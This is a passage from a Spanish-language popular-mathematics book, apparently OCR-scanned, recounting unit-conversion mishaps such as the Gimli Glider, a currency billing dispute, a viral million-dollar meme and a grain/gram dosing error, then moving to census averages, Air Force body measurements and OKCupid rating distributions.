través de dos canales independientes. Si los dos niimeros procedentes de cada
tanque coinciden, entonces el indicador de combustible puede mostrar con
seguridad cudl es el nivel actual de combustible. Las sefiales procedentes de
estos sensores de los tanques (uno en cada ala de la aeronave) van a un
procesador del nivel de combustible que controla los indicadores. Excepto
que este procesador estaba dafiado.

Un vuelo antes de su nefasto viaje, el Boeing 767 estaba en Edmonton y
un técnico aeronautico titulado llamado Yaremko estaba intentando averiguar
por qué no funcionaban los indicadores de combustible. Descubrié que, si
desconectaba uno de los canales de los sensores de combustible que iban al
procesador, los indicadores volvian a funcionar. Desactivo el disyuntor de ese
canal, etiquetandolo con un trozo de cinta en la que ponia «inoperante» y
tomo nota del problema. Mientras esperaba un nuevo procesador para sustituir
el que funcionaba mal, el avion todavia cumplia con la lista maestra de equipo
minimo (obligatorio para que el avion volara de forma segura), si se llevaba a
cabo una comprobacién manual del nivel de combustible. Por lo que la doble
verificacion en este caso consistia en un indicador con un solo sensor y
alguien comprobando el tanque y midiendo fisicamente la cantidad de
combustible antes de despegar.

Y es aqui donde se puede volver a aplicar lo del «queso suizo»: el desastre
se produjo a pesar de las diversas comprobaciones que podrian haber
identificado y solventado el problema.

El avion despeg6 de Edmonton destino a Montreal con el capitan Weir al
mando, quien habia malinterpretado la conversacion que tuvo con Yaremko y
pensO que el problema del indicador de combustible era un tema recurrente y
no algo que acababa de suceder. Por lo que, cuando le pas6 el mando del
avion al capitan Pearson en Montreal, le explico que habia un problema con el
indicador de combustible pero que con una comprobacion manual era
suficiente. El capitdn Pearson entendi6 con esto que los indicadores de
combustible de la cabina de mando eran completamente inoperantes.

Mientras esta conversacion entre los dos pilotos estaba teniendo lugar en
Montreal, un técnico de nombre Ouellet estaba comprobando la aeronave. No
comprendio la nota que Yaremko habia dejado respecto al indicador de
combustible, asi que lo comprobd él mismo, lo que implicé reactivar de
nuevo el disyuntor. Esto hizo que todos los indicadores dejaran de funcionar y
Ouellet pidi6 un nuevo procesador, olvidandose de volver a desactivar el
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disyuntor. El capitan Pearson entrd en la cabina y vio todos los indicadores de
combustible en blanco y una etiqueta en uno de los disyuntores que decia
«inoperante», que es exactamente lo que esperaba después de malinterpretar
la conversacién que tuvo con el capitan Weir. Debido a esta desafortunada
serie de sucesos, un piloto estaba preparandose para volar con un avién en el
que no funcionaba ningun indicador de combustible.

Esto no hubiera estado tan mal si los calculos realizados para valorar
cuanto combustible quedaba hubieran sido correctos. Pero estamos en los
primeros afios de la década de 1980 y Canada estaba iniciando su transicion
de las unidades imperiales a las métricas. De hecho, la nueva flota de aviones
Boeing 767 era la primera de Air Canada que utilizaba las unidades métricas.
El resto de aeronaves de Air Canada seguia midiendo su combustible en
libras.

Para complicar las cosas aun mas, la conversion de volumen a masa
utilizaba el factor titulado enigmaticamente «densidad relativa». Si se hubiera
llamado «libras por litro» o «kilogramos por litro», el problema se habria
evitado. Pero no fue asi. Por lo que, después de medir la profundidad a la que
llegaba el combustible en el tanque en centimetros y convertirlo exitosamente
en litros, todo el mundo utilizaba una densidad relativa de 1,77 para hacer la
conversion: es el numero de libras por litro para el combustible a esa
temperatura. La densidad relativa correcta de kilogramos por litro deberia
haber sido de 0,8. Y ya se habia cometido un error de conversion antes del
despegue en Montreal y de nuevo durante la escala en Ottawa.

Por lo que, como era de esperar, a mitad de vuelo, después de dejar
Ottawa, el avion se quedé sin combustible y en pocos minutos fallaron ambos
motores. Esto provocé una sefial de error, jbong!, en la cabina que ninguno de
los presentes alli habia oido con anterioridad. Yo me pongo muy nervioso
cuando mi portatil hace un ruido que no habia escuchado hasta entonces; no
puedo ni imaginarme como debe sentarte eso cuando estas pilotando un
avion.

El problema principal cuando fallan ambos motores es que,
evidentemente, el avion ya no tiene potencia para volar. Otro tema menor,
pero, aun asi, importante, es que todos esos novedosos dispositivos
electronicos de la cabina de mando necesitaban energia para funcionar y, ya
que funcionaban gracias a un generador conectado directamente a los
motores, toda la avionica dejé de funcionar. Los pilotos solo pudieron utilizar
los dispositivos anadlogos: una brujula magnética, un indicador del horizonte,
un indicador de la velocidad aerodindmica y un altimetro. Ah si, y los flaps y
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slats que normalmente controlan el ritmo y velocidad de descenso también
empleaban la misma fuente de energia, por lo que tampoco funcionaban.

El unico golpe de buena suerte fue que el capitan Pearson también era un
piloto de vuelo sin motor muy experimentado, lo cual fue muy util. Fue capaz
de planear con el Boeing 767 durante 64 kilometros hasta el aerédromo de
una base militar abandonada en la ciudad de Gimli. Era una pista de tan solo
2,19 kilémetros de longitud, pero el capitan Pearson fue capaz de posar la
nave a 240 metros del inicio de la pista.

/ PASO 1: Calculo del combustible a bordo: \

Lecturas manuales: 62 y 64 centimetros
Conversion a litros: 3.758 y 3.924 litros
Litros totales a bordo: 3.758 + 3.924 = 7.682 litros.

PASO 2: Conversion de litros a bordo en kilogramos:

7.628 litros x 1,77 = 13.597
Al multiplicarlo por 1,77 dan libras, pero todo el mundo pensé que eran
kilogramos.

PASO 3: Cdlculo del combustible que habia que afadir:

Combustible minimo necesario, 22.300 kilogramos — combustible a bordo, 13.597
supuestos kilogramos = 8.703 kilogramos.

PASO 4: Conversion en litros de kilogramos que hay que anadir:

8.703 kilogrameos + 1,77 = 4.916 supuestos litros.

El célculo correcto utilizando el combustible minimo necesario como base, es
decir, 22.300 kilogramos, como exige el plan de vuelo, deberia ser tal como sigue:

PASO 1: 3.924 + 3.758 litros de las primeras lecturas manuales de 64 y 62
centimetros = 7.682 litros de combustible a bordo.

PASO 2: 7.682 x 1,77 + 2,2 = 6.180 kilogramos de combustible a bordo, antes
del repostaje.

PASO 3: 22.300 — 6.180 = 16.120 kilogramos de combustible que se ha de
cargar.

PASO 4:16.120 + 1,77 x 2,2 = 20.036 litros que se han de cargar.

- /

Desglose de como se erro en los cdlculos procedentes del informe oficial sobre el accidente realizado
por la Comision de Investigacion.
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En un segundo golpe de buena suerte, el tren de aterrizaje frontal fallo,
provocando que la parte frontal del avion fuera rozando el suelo, con lo que
proporcionaba una friccion de frenado muy necesaria dado el caso, gracias a
la cual el avion logré pararse antes de que se acabase la pista (para alivio de
las personas que estaban en tiendas y caravanas en el terreno situado a
continuacion, que ahora se utilizaba como pista de carreras de aceleracion).
Otra de las consecuencias de que no funcionen los motores de un 767 es que
el vuelo es mucho mas silencioso. Algunas personas temieron por sus vidas
cuando un avion comercial birreactor aparecié repentinamente sobre la pista
abandonada, como si hubiera salido de la nada.

Aterrizar un avion como si fuera un planeador fue una hazafia
descomunal. Cuando a otros pilotos se les puso en un escenario parecido en
un simulador de vuelo, acabaron estrellandose. Después de que el Boeing 767
fuese reparado y volviera a ser utilizado en un vuelo de Air Canada, paso a
ser conocido como el Planeador de Gimli y se hizo merecidamente famoso.

Finalmente, fue apartado del servicio en 2008 y ahora esta en un desguace
de aviones en California. Una compafiia emprendedora compro algunas partes
de su fuselaje y ahora vende etiquetas de equipaje fabricadas a partir del
revestimiento metalico del Planeador de Gimli. Supongo que la idea es que el
avion fue muy afortunado por sobrevivir a una situacion muy peligrosa, por lo
que tener un trocito del avion deberia dar buena suerte. Pero una vez mas, la
inmensa mayoria de aeronaves nunca se estrella, por lo que, estrictamente
hablando, este avion tuvo mala suerte. Compré un trozo del fuselaje y lo
tengo pegado en mi ordenador portatil, aunque no parece que eso haya hecho
que se golpee mas o menos de lo habitual.

Y, solo para equilibrar un poco el relato, encontré un error de la aviacion
en el que la confusion libras-kilogramos se desequilibro6 hacia el otro lado. En
el caso del Planeador de Gimli, los calculos del combustible se hicieron en
kilogramos, aunque se rellend el tanque utilizando una unidad menor, las
libras: la consecuencia es que pusieron demasiado poco combustible. El 26 de
mayo de 1994, la carga de un vuelo de mercancias que volaba desde Miami,
Estados Unidos, a Maiquetia, Venezuela, se pesé en kilogramos, cuando tanto
el equipo del vuelo como el de tierra pensaron que era en libras, por lo que el
cargamento pesaba casi el doble de lo que deberia.

Su desplazamiento por la pista fue descrito como «muy lento», aunque, a
pesar de ello, el avion logro despegar. En lugar de tardar treinta minutos en
alcanzar la altura de crucero después de despegar, necesit6 una hora y cinco
minutos. Ademas, el vuelo consumi6 una cantidad sospechosamente grande
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de combustible. En el juicio resultante se calcul6 que, cuando el avién
aterrizo en Venezuela, llevaba 30.000 libras de sobrepeso, que son unos
13.600 kilogramos (mas de la cantidad total de combustible con la que
despeg6 el Planeador de Gimli).

Me hace sentir un poco mejor por todas las veces que pienso que he
cargado demasiado mi maleta. Pero también me siento mucho menos seguro
cuando vuelo entre paises que utilizan unidades diferentes (que basicamente
son Estados Unidos por un lado y el resto del mundo por otro). iTengo que
apresurarme y decidir si el trozo que tengo del Planeador Gimli trae mala o
buena suerte!

No se olvide de la etiqueta con el precio

Es facil olvidar que las monedas de cada pais son unidades. 1,41 dolares es
una cantidad muy diferente a 1,41 centavos, pero, a menudo, algunos
entienden intuitivamente el punto decimal como una marca de puntuacion
para separar los dolares de los centavos, por lo que consideran que son
equivalentes. Existe una llamada telefénica muy famosa en internet grabada
en 2006 cuando el residente estadounidense George Vaccaro llamé a su
proveedor de telefonia mévil Verizon después de un viaje a Canada. Antes del
viaje le habian confirmado que el cambio para los datos que consumiera
mediante roaming en Canada se le cobrarian a 0,002 centavos por kilobyte,
pero después del viaje le cargaron 0,002 délares por kilobyte.

La factura del sefior Vaccaro ascendi6 a 72 dodlares por unos 36
megabytes, que hoy en dia parecen ridiculos después de mas de una década de
mejoras tecnologicas, pero en esa época era una cantidad aceptable y el precio
«correcto» de 0,72 ddlares deberia haber sido ridiculamente pequefio. Verizon
habia cometido un error cuando le coment6 sus tarifas. Pero el sefior Vaccaro
habia guardado la respuesta con la tarifa ofrecida y ahora intentaba averiguar
qué era lo que habia cambiado. Es un poco doloroso escuchar la llamada, sus
veintisiete minutos, a medida que al sefior Vaccaro se lo van pasando de un
gerente a otro. Ninguno de ellos se percata de la diferencia entre 0,002 ddlares
y 0,002 centavos y utilizan ambos numeros indistintamente. No puedo pasar
por alto la parte en la que uno de los gerentes define el calculo incorrecto
como «obviamente, se trata de una diferencia de opinion».

Hay una complicaciéon afiadida cuando se trata de grandes sumas de
dinero. Los multiplos que nos resultan practicos son unidades por derecho
propio, pero, cuando se trata con algo como metros y kilémetros, mucha gente
tiende a pensar que se trata de unidades diferentes. Los kilometros son
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realmente una combinacién de la unidad de distancia de un metro con la
«unidad de tamafio» de un millar. Pero con el dinero, estas unidades causan
problemas.

Esta es la base de un meme que circul6 en 2015 cuando la Ley de
Atencién Sanitaria Asequible de Obama estaba en marcha, pero los problemas
dentales no eran cubiertos por todos los planes de seguros. Un objetivo facil
para los criticos era el coste de la implantacion del Obamacare. Circul6 por
todas partes que el coste de la introduccién del programa seria de 360
millones de dolares, sin duda, una cantidad enorme de dinero: casi un tercio
de un millardo de délares. Por lo que las personas de la derecha del espectro
politico buscaron formas de resaltar cuanto dinero era esa cantidad. Y nacio
este meme:

Es facil ver cual es su fallo. 360 millones de dolares entre 317 millones de
personas no sale 1 millén de dolares para cada uno, es apenas 1 dolar por
cabeza. No un millén. Un misero pavo.

A pesar de ser bastante facil desacreditar a alguien dividiendo un nimero
por otro, este meme circuld6 como calculo legitimo. Soy consciente de que las
personas son mucho menos criticas cuando se trata de una evidencia que
respalda sus creencias politicas, pero me gustaria creer que incluso las
pruebas que confirman lo que piensas deben pasar al menos alguna
comprobacion rudimentaria antes de ser puestas en circulacion. Soy partidario
de la teoria segun la cual al menos la amenaza de humillacion publica
disuadira a las personas de apoyar reclamaciones claramente inverosimiles.
Una parte de mi sigue creyendo que cualquiera que defienda este meme del
Obamacare es un troll y que lo hace para divertirse. Pero démosles el
beneficio de la duda e intentemos averiguar por qué esta afirmacion falsa fue
tan tenaz.

Mi version favorita de las que aparecen en internet tiene al protagonista
respaldando la afirmacién de que 360 millones de délares divididos por 317
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millones de personas da un millon por persona (con calderilla sobrante)
explicandolo de esta manera:

Hay 317 personas y tienes 360 sillas. ; Tienes las suficientes sillas para que todos se sienten?

Bueno, la respuesta es si. El hecho de que 360 sea mas grande que 317
parece ser una parte fundamental de su argumento, y nadie se opone a esa
logica. Pero, por alguna razon, estas personas no pueden ver que esa misma
légica no se sostiene cuando tienes millones de dolares y millones de
personas. Y creo que esta afirmacion ofrece una idea de por donde se
desmorona su logica:

Ambas unidades son millones, por lo que no hay diferencia.

Estan tratando con «millones» como una unidad y restan en lugar de
dividir. Lo que, en algunas situaciones, jfunciona!

Pregunta rapida: si yo tengo 127 millones de ovejas y vendo 25 millones,
;cuantas me quedan? Correcto: 102 millones. Les puedo asegurar que, en sus
cabezas, «eliminaron» la palabra millébn de esos numeros y realizaron el
calculo directo de 127 — 25 = 102, y luego volvieron a colocar la palabra
millén para obtener la respuesta final de 102 millones. Traté el «mill6n»
como una unidad que se podia ignorar, ya que era conveniente hacerlo. Pero
es muy importante aclarar que, en este caso, jfunciona!

Aunque, para millones de personas, son las mismas matematicas, solo hay
que afadir ceros.

En este caso estoy de acuerdo con el argumentador: se puede utilizar
«millones» como parte de una unidad. Y cuando se suman y restan numeros
escritos en las mismas unidades, estas siempre son las mismas. Pero si
empezamos a multiplicar y dividir, entonces las unidades pueden cambiar.
Nuestro apasionado amigo elimin6 mentalmente los millones, realiz6 una
comparacion por sustraccion para demostrar que 360 es mayor que 317 y
luego fracasé completamente al no darse cuenta de que también hacia una
division implicita de 360 + 317 = 1,1356 para demostrar que a todo el mundo
le toca un poco mas de «uno».

¢Un poco mas de uno de qué? Colocan de nuevo las unidades de
«millones de ddlares» y concluye que todo el mundo obtiene algo mas de un
millon de ddlares. Pero si dividimos los dos numeros, también hay que dividir
sus unidades. Por lo que los millones se cancelan y lo que recibe realmente
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todo el mundo es 1,14 dolares. Por lo que, en su mayor parte, la 1o6gica tiene
alguna justificacion; simplemente se derrumba ante el ultimo obstaculo que
suponen las unidades.

Puede que esta sea la mayor fuente de errores matematicos cotidianos.
Solemos estar acostumbrados a realizar un calculo en una situacion dada, y
luego utilizamos el mismo metido en otra situacion, en la que no funciona.
Sospecho que las personas que pasaron este meme de manera sincera, lo
miraron y sus cerebros hicieron algo como ver millones como una unidad que
podian excluir de su calculo y luego recolocarlo de nuevo una vez acabada la
operacion.

¥ HLMIUS Pdiid Tepdall

Afortunadamente, esto ocurrié en 2015, y en los afios que han pasado
desde entonces las personas han mejorado a la hora de detectar las noticias
falsas que aparecen en la red.

A contracorriente

Una ultima historia en la que interviene la libra, aunque en este caso se trata
de una fraccion mas pequefia de la libra: el grano. En el sistema de unidades
de peso de los boticarios, una libra se puede dividir en 12 onzas, cada una de
las cuales equivale a 8 dracmas. Un dracma tiene 3 escripulos, cada uno de
los cuales tiene 20 granos. Espero que eso tenga sentido. Un grano es una
5.760? parte de una libra. Pero no de una libra normal, sino de una libra de
troy, la cual es diferente de la libra normal. Y la gente se pregunta por qué se
invent6 el sistema métrico...

Déjenme intentarlo de nuevo. Un kilogramo son 1.000 gramos, los cuales
se pueden dividir en 1.000 miligramos cada uno. Un grano es una unidad
arcaica que equivale a unos 64,8 miligramos. jPuf! Asi ha sido mas facil.
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El problema es que, en Estados Unidos, el sistema de unidades de los
boticarios todavia se utiliza como uno de los sistemas para pesar las
medicinas. En la larga lista de lugares en los que no le gustaria estar en el
extremo receptor de los errores producidos por tener sistemas de unidades que
entran en conflicto, la medicina ha de estar en los primeros lugares. Y, para
colmo de males, la abreviatura de grano es «gr», que puede confundirse muy
facilmente con un gramo.

Y, como era de esperar, asi sucede. A un paciente que tomaba
Fenobarbital (un farmaco antiepiléptico) le prescribieron 0,5 gr por dia (32,4
miligramos), y lo confundieron con 0,5 gramos por dia (500 miligramos).
Después de tres dias tomando una dosis unas quince veces superior a la
normal, el paciente empezé a sufrir problemas respiratorios. Por suerte,
cuando le retiraron la dosis, se recuper6 completamente. Este fue un caso en
el que se puede aplicar el dicho de «grano a grano se hace la mortaja».
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Once

ESTADISTICAS COMO A MI ME GUSTAN

Aunque naci en Perth, Australia Occidental, he vivido en el Reino Unido
tanto tiempo que mi acento es ahora de un 60% a un 80% britanico. A pesar
de que me gustan los deportes, no soy un gran aficionado a ninguno de ellos,
y ha pasado mucho tiempo desde que hice mis ultimas gambas a la barbacoa.
No soy un australiano tipico. Pero, claro, nadie lo es.

Después del censo de 2011, la agencia australiana de estadistica publico
como era el australiano medio: mujer de treinta y siete afios que, entre otras
cosas, «vive con su marido y dos hijos (un nifio y una nifia de nueve y seis
aflos respectivamente) en una casa con tres dormitorios y dos coches en un
barrio periférico de una de las capitales australianas». Y luego descubrieron
que dicha persona no existe. Rastrearon todos los registros y no habia ni una
sola persona que cumpliera con todos los criterios que la definirian como la
auténtica persona australiana media. Y sefialaron, con acierto, que:

Aunque la descripcion de la persona australiana media puede sonar bastante tipica, el hecho de
que nadie cumpla con todos esos criterios demuestra que la idea de «persona media» oculta la
enorme (y creciente) diversidad de Australia.

Agencia australiana de estadistica

Cuando se trata de medir poblaciones, un censo es, en cierto sentido, una
situacion extrema. Cuando una organizacion desea saber algo sobre una
poblacion, suele analizar una muestra pequefia y suponer que esta es
representativa de todos los demas. Pero un gobierno tiene la capacidad de
hacerlo a mayor escala y encuestar absolutamente a todo el mundo. Esto
acaba produciendo una apabullante cantidad de datos, los cuales,
ironicamente, luego se ven reducidos a estadisticas representativas.

La Constitucion de Estados Unidos exige que se haga un censo nacional
cada diez afos. Pero, en 1880, debido al incremento de poblacion y de la
cantidad de preguntas que se hacian en el censo, fueron necesarios ocho afios
para procesar todos los datos. Para arreglar el problema se inventaron unas
maquinas tabuladoras electromecanicas que podian determinar la cantidad
total de datos que habian sido almacenados en tarjetas perforadas. Las
maquinas tabuladoras se utilizaron en el censo de 1890 y lograron finalizar el
analisis de los datos en tan solo dos afios.
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No mucho mas tarde, las maquinas tabuladoras ya estaban realizando
procesos cada vez mas complicados con los datos: los clasificaban siguiendo
criterios diferentes e incluso realizaban algunas matematicas basicas en lugar
de simplemente hacer recuentos. Se puede decir que la necesidad de analizar
los datos de los censos propicio la aparicién de nuestra industria informatica
moderna. La primera maquina tabuladora que utilizaba tarjetas perforadas y
que fue disefiada para los censos fue inventada por Herman Hollerith, quien
fund6 la Tabulating Machine Company, que finalmente se fusioné con otra
empresa que se dedicaba a lo mismo y acab6 dando lugar a IBM. Puede que
haya una linea evolutiva directa entre el ordenador que usamos hoy en dia en
el trabajo y las maquinas que clasificaban tarjetas perforadas hace mas de un
siglo.

Esa es la razon por la que encontré especialmente gratificante el censo
realizado en Australia en 2016. Resulta que estaba en el pais durante el que
iba a ser el primer censo australiano que se realizaria casi completamente en
linea y la agencia australiana de estadisticas habia otorgado el contrato para la
elaboracion del censo a la mismisima IBM. Result6 que IBM hizo una
chapuza y la pagina del censo estuvo inoperativa durante cuarenta horas, pero,
si ignoramos ese dato, era bonito ver todavia a IBM en la vanguardia de la
tecnologia relacionada con el negocio de los censos. Aunque, dado como
manejo el trafico su pagina, igual deberian haber vuelto a utilizar la maquina
tabuladora con tarjetas perforadas.

;Esta nueva encuesta produciria un australiano o australiana medio que si
existiera? Cuando, en 2017, regresé a Australia y hojeé el periddico West
Australian, me encontré inesperadamente un articulo sobre los resultados del
censo del afio anterior. El periodico resaltaba que el «australiano occidental»
medio seria: un hombre de treinta y siete afios con dos hijos, habiendo nacido
uno de sus progenitores en el extranjero, etc. Salté parte del texto buscando la
parte en la que el periodista que escribia el articulo reconoceria que fue
incapaz de encontrar a alguien que encajara con todos esos criterios.

Pero, en cambio, me encontré la cara de Tom Fisher sonriéndome
directamente. El mismisimo sefior Medio.

Lo habian conseguido. Encontraron a alguien que encajaba,
supuestamente, con la mayoria de los criterios del ciudadano medio. El
mismo Tom no parecia muy ilusionado con el titulo de «australiano Medio»,
sefialando que trabaja como musico (es una parte bastante importante de la
banda de Australia Occidental llamada Tom Fisher and The Layabouts). Pero,
segun el periddico, merecia ese titulo porque era:
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¢ un hombre de treinta y siete afios;

e ha nacido en Australia y tiene al menos un progenitor nacido en el
extranjero;

¢ habla inglés en casa;

e esta casado y tiene dos hijos;

e realiza entre cinco y catorce horas de labores domeésticas no
remuneradas por semana;

e tiene una hipoteca sobre una casa con cuatro dormitorios y con dos
coches en el garaje.

Esta es una lista mas corta que la del australiano medio del censo anterior,
pero era impresionante que hubieran encontrado a alguien que encajaba con
todos los criterios. Busqué a Tom y le escribi un correo electronico para
preguntarle sobre su «cualidad de medio». Perth no es tan grande, y no hizo
falta mucha busqueda por internet ni preguntar por ahi para localizarle. Parece
que ha asimilado su papel de australiano Medio y me ofreci6 amablemente su
«cualidad de medio» para ayudarme en lo que pudiera. Le expliqué lo
sorprendido que estaba con que existiera y con el hecho de que encajara con
todos los criterios;

«Si, tio, puedo confirmarte que cumplo con todos los criterios del
australiano medio, excepto que tanto mi padre como mi madre son de aqui.»

iLo sabia! El periddico fue deliberadamente impreciso, y Tom no cumplia
todos los criterios. Y me cuesta reconocerlo. Pensaba que tal vez la gente se
quedaria mas con la idea que él representaba que con el hecho de que no
cumplia algun criterio. Pero, en resumen, es interesante que, incluso con muy
pocos criterios que cumplir, el periodico West Australian no encontrara al
australiano medio.

Habiendo desenmascarado al que habian presentado como australiano
medio, estaba preparado para arreglar las cosas y encontrar un sustituto.
Contacté con la Agencia Australiana de Estadistica (ABS por sus siglas en
inglés) para ver si era posible encontrar a alguien que cumpliera con los pocos
criterios que utilizo el periodico, en lugar de usar todo el rango de estadisticas
empleadas en el censo. Las personas de la ABS que me atendieron fueron
muy amables conmigo y mi peticion les parecid lo bastante interesante como
para bucear entre los datos por mi. Al ampliar la poblacion a tener en cuenta,
de Australia Occidental a todo el pais cambiaban ligeramente los individuos
medios; el australiano medio era ahora una mujer que cuenta con un
dormitorio menos en su hogar. Calcularon que, para la definicion mas laxa de
australiano medio (utilizando solo algunos criterios principales), deberian
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existir «unas cuatrocientas» personas de una poblacion total de la Australia de
esa época de 23.401.892 personas, que cumplieran con esos criterios.

Asi pues, tenemos que el 99,9983% de la poblacién australiana no se
puede considerar un australiano o australiana medio. Después de todo, diria
que estoy en muy buena compaiiia.

Si los datos encajan

Durante la década de 1950, la Fuerza Aérea de Estados Unidos descubri6 de
la manera mas dura que nadie es un ciudadano medio. Los pilotos que
participaron en la segunda guerra mundial llevaban uniformes bastante anchos
y las cabinas de los aviones eran lo suficientemente grandes para albergar un
amplio rango de tipos corporales. Pero las exigencias de la nueva generacion
de aviones de combate eran mayores, tanto por sus cabinas compactas como
por las indumentarias mas ajustadas (para que conste, esa es la descripcion
que hace la Fuerza Aérea de Estados Unidos sobre la indumentaria de los
pilotos). Necesitaban saber con exactitud el tamafio de su personal de vuelo
para asi fabricar aviones y uniformes en los que los pilotos encajaran a la
perfeccion.

Las fuerzas aéreas enviaron a un equipo de expertos medidores a catorce
de sus bases en las que midieron a un total de 4.063 personas/?3l. A cada una
se le tomaban 132 medidas diferentes, incluyendo algunas clasicas como la
altura a la que estan los pezones, la longitud de la nariz, la circunferencia de
la cabeza, la circunferencia del codo (flexionado) y la distancia de las nalgas a
la rodilla. El equipo de medicion fue capaz de hacer todo esto en tan solo dos
minutos y medio por persona, midiendo a unas 170 personas por dia. Los que
recibieron los datos la calificaron como la «medicién mas rapida y completa
que habian recibido».

Para cada una de las 132 mediciones, el equipo tenia luego que hallar la
media, la desviacion estandar, la desviacion estandar como porcentaje de la
media, el rango y los valores de veinticinco percentiles diferentes. Por lo que,
por supuesto, acudieron a los superordenadores de la época: las maquinas
tabuladoras de IBM con tarjetas perforadas. Los datos se introducian en las
tarjetas perforadas que luego podian ser clasificadas y tabuladas por las
maquinas electromecanicas. Los calculos estadisticos se llevaban a cabo con
calculadores mecanicas de sobremesa. En la actualidad, puede parecernos un
poco pesado, pero en esa época les debid parecer algo magico el hecho de
poder disponer de datos clasificados por una enorme y ruidosa maquina y que
la aritmética la realizara una simple maquina manual que podias tener sobre
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tu escritorio. Lo mismo ocurrira dentro de medio siglo, cuando la gente no
creera que, durante los primeros afios del siglo xxi1, teniamos que conducir
nuestros propios coches o teclear fisicamente los mensajes de texto nosotros
mismos.

Dado que la tecnologia moderna estaba haciendo la clasificacion de las
hojas grabadas, las utilizadas para registrar los datos de los uniformes no
necesitaban estar ordenadas para facilitar el posterior procesamiento de los
datos. En cambio, si que estaban dispuestas de tal forma que minimizaran los
posibles errores humanos e incluso redujeran la frecuencia con la que las
personas tenian que soltar diferentes instrumentos y luego recogerlos. Las
medidas obtenidas mediante una cinta métrica aparecian todas en una
columna, y las obtenidas con un calibrador en otra. Fue uno de los primeros
casos en los que se reducia el error mediante un disefio ajustado a la
experiencia del usuario.

Se esforzaron mucho para reducir todas las fuentes de error de la encuesta.
Se eliminaron los valores atipicos, y se trataron los casos limite basandose en
la regla de baloncesto de «sin dafio no hay falta»: si no estaba claro que un
valor concreto fuera un error o solo un valor extremo, comprobaban si al
eliminarlo se producia alguna diferencia en las estadisticas generales. Si no
era asi, jproblema evitado! Y todos los calculos estadisticos se realizaban dos
veces y de dos formas diferentes (si era posible). Algunas medidas
estadisticas se pueden obtener a partir de mas de una férmula, por lo que las
utilizaban todas para asegurarse de que obtenian la misma respuesta con todas
ellas.

/ ¢ Cudn cerca estd usted del promedio? \
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Antropometria del Personal de Vuelo de las Fuerzas Armadas (1950).

¢Es similar la altura de sus pezones a la de este tipo de 19507 ;Esta usted mds o
menos ilusionado que él porque se lo hayan medido?

o J

Ademas de los hallazgos estadisticos, se realizé un informe titulado «;El
«Hombre Medio»?», en el que se cuestionaba la existencia misma de una
bestia mitica como esa. Se utilizaron las tallas de los uniformes como ejemplo
perfecto. Los sondeos realizados a esas personas se podian utilizar para crear
un nuevo uniforme estandar que encajara con las medidas que se desviaban
un maximo del 30% del promedio, descritas como «promedio aproximado».
Pero ;cuantas de las 4.063 personas que participaron en el sondeo llevan un
uniforme que encajara en ese 30%? La respuesta es cero. Ningiin miembro de
las 4.063 personas estudiadas estaba en el porcentaje promedio de las diez
medidas relacionadas con el uniforme.

La tendencia a pensar en términos de «hombre medio» es una trampa en la que muchas
personas caen cuando intentan aplicar los datos de los tamafios de cuerpos humanos a los
problemas relacionados con el disefio. En realidad, es virtualmente imposible encontrar un
«hombre medio» entre la poblacién de las fuerzas aéreas. Y no es porque este grupo de
hombres posea rasgos unicos, sino que es debido a la gran variabilidad de las dimensiones
corporales que caracterizan a todos los hombres.

«¢El «<hombre medio»?», Gilbert S. Daniels
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Gilbert Daniels formé parte del equipo que dirigio el sondeo realizado al
personal de las fuerzas aéreas. Habia estudiado antropologia fisica y habia
descubierto, durante sus estudios, que al medir las manos de la poblacién
ciertamente homogénea de estudiantes varones de Harvard, existia una amplia
variedad de mediciones y que las manos de ningin estudiante se acercaban a
lo que seria el promedio. No tengo ni idea sobre como obtuvo esas
mediciones. Pero me encanta imaginar a Daniels yendo de un lado al otro del
campus para convencer a sus compaiieros de que le permitieran acceder a sus
datos privados, como una especie de Zuckerberg obsesionado por el tamarfio
de las manos.

El informe de Daniels convencio a las fuerzas aéreas de que no intentaran
encontrar a una persona media, sino que se las ingeniaran para dar acomodo a
la variacion. Ahora es algo conocido y parece bastante obvio, pero cosas
como los asientos ajustables de los coches y las correas de los cascos que se
pueden alargar y encoger empezaron cuando las fuerzas aéreas aceptaron la
existencia de la variedad en las medidas. El sondeo acabd siendo titil, no a la
hora de demostrar cémo era la persona media de las fuerzas aéreas, sino por
mostrar cuanta variedad existia.

Algunos promedios son mas homogéneos que otros
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En 2011, la pagina web OKCupid tenia un problema muy comun entre las
paginas de citas: sus usuarios atractivos estaban siendo saturados con
mensajes, y esa clase de relacion sefial/ruido podia alejarlos de la pagina web.
Los usuarios podian calificar el aspecto de los demas en una escala del 1 al 5,
y aquellos cuya puntuacion media se hallaba en la parte alta del espectro de
belleza recibian veinticinco veces mas mensajes que los situados en el otro
extremo. Pero resulta que los tios que fundaron OKCupid eran matematicos, y
la pagina tiene tanto que ver con los datos como con las citas. Por lo que
analizaron las estadisticas y, mientras lo hacian, encontraron algo interesante.

Las personas que se hallaban en la zona alta de la puntuacion sobre su
atractivo, pero no en el extremo, es decir, con puntuaciones cercanas a 3,5,
estaban recibiendo una cantidad variable de mensajes de un rango muy
amplio. Un usuario con una puntuacion promedio de 3,3 recibia 2,3 veces la
cantidad habitual de mensajes, pero alguien con un nivel de 3,4 en esa misma
escala recibia tan solo 0,8 veces la cantidad habitual de mensajes. Habia algo
mas aparte de su nota promedio de belleza que influia en la cantidad de
atencion que recibia de los demas usuarios.

Si un usuario tenia una puntuacion promedio de 3,5, habia multiples
formas por las que otros usuarios podian haberlo puntuado entre 1 y 5 para
que el promedio fuera ese. Lo que el fundador de OKCupid, Christian
Rudder, descubrio es que las personas que obtenian una puntuacion
aproximada de 3,5 porque un monton de personas les puntu6 con un 3 o con
un 4 no recibian, ni de cerca, tantos mensajes como los usuarios que lograban
ese 3,5 gracias a un monton de puntuaciones de 1 y 5. El indicador de la
cantidad de mensajes no era el valor promedio de la puntuacion de belleza,
sino, mas bien, como se distribuian las puntuaciones. L.a conclusion de
Rudder fue que los usuarios tenian dudas a la hora de mandar un mensaje a
alguien que pensaban que todos los demas encontrarian atractivo y centraban
su atencion en personas que ellos encontraban atractivas pero que al mismo
tiempo pensaban que los demas no.

La distribucién de los datos se puede medir con la desviacién estandar (o
varianza, que es la desviacion estandar al cuadrado). Los usuarios de
OKCupid con la misma puntuacion promedio podian tener desviaciones
estandar muy diferentes y ese dato seria un indicador mejor de la cantidad de
mensajes que recibirian. Asi es como ocurri6 en este caso, pero es posible que
otros conjuntos de datos diferentes no solo tengan el mismo promedio, sino
también la misma desviacion estandar.
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Estos dos conjuntos de veinte puntuaciones dan un promedio de 3,5, pero ;qué grdfico le parece mds
atractivo?.

En 2017, dos investigadores de Canada crearon una imagen de un
